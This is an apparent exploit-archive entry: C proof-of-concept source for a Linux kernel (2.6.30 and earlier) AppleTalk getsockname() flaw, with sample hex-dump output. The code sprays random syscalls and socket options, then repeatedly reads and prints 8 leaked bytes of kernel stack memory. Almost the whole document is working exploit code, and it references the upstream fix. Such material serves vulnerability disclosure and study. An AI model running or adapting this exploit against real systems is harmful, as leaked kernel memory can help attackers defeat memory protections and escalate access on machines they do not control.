Linux Kernel 2.6.30 - 'atalk_getname()' 8-bytes Stack Disclosure (1)

/**
 * appleak.c
 *
 * Linux keunouille <= 2.6.30
 *
 * AppleTalk getsockname() 8-bytes kernel stack disclosure
 *
 * http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=3d392475c873c10c10d6d96b94d092a34ebd4791
 *
 * atalk_getname() can leak 8 bytes of kernel memory to user
 *
 * [clem1@noe ~]$ ./appleak
 * 1e 83 f2 31 ec 56 d7 f6 | ...1.V..
 * 00 f4 55 f6 84 2a ca bf | ..U..*..
 * 00 f4 55 f6 1e 83 f2 31 | ..U....1
 * 1e 83 f2 31 00 60 5e f6 | ...1.`^.
 * 00 f4 55 f6 84 2a ca bf | ..U..*..
 * c0 2a 54 c0 a8 61 45 f6 | .*T..aE.
 * 21 54 12 c0 84 2a ca bf | !T...*..
 * (...)
 *
 * (c) Clément LECIGNE <root[a]clem1.be>
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <net/if_arp.h>
#include <linux/atalk.h>

void kernop(int fd)
{
    /* from Jon Oberheide sploit
     */
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch ( rand() % 3 )
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while ( ret < 0 );
}

void dump( unsigned char * data, unsigned int len )
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for ( dp = 1; dp <= len; dp++ )
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_at  sat;
    int                 s, len = sizeof(sat), occ = 500;
    char                prev_zero[sizeof(sat.sat_zero)] = { 0 };

    s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
    if ( s == -1 )
    {
        perror("socket");
        return EXIT_FAILURE;
    }

    memset(&sat, 0, sizeof(sat));
    sat.sat_family = AF_APPLETALK;
    sat.sat_addr.s_net = htons(ATADDR_ANYNET);
    sat.sat_addr.s_node = ATADDR_ANYNODE;
    sat.sat_port = ATADDR_ANYPORT;

    if ( bind(s, (struct sockaddr *) &sat, len) < 0 )
    {
        perror("bind");
        return EXIT_FAILURE;
    }

    srand(time(NULL) ^ getpid());

    while ( --occ )
    {
        kernop(s);

        if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 )
        {
            if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 )
            {
                dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero));
                memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero));
                usleep(5000);
            }
        }
    }

    close(s);

    return EXIT_SUCCESS;
}

// milw0rm.com [2009-08-26]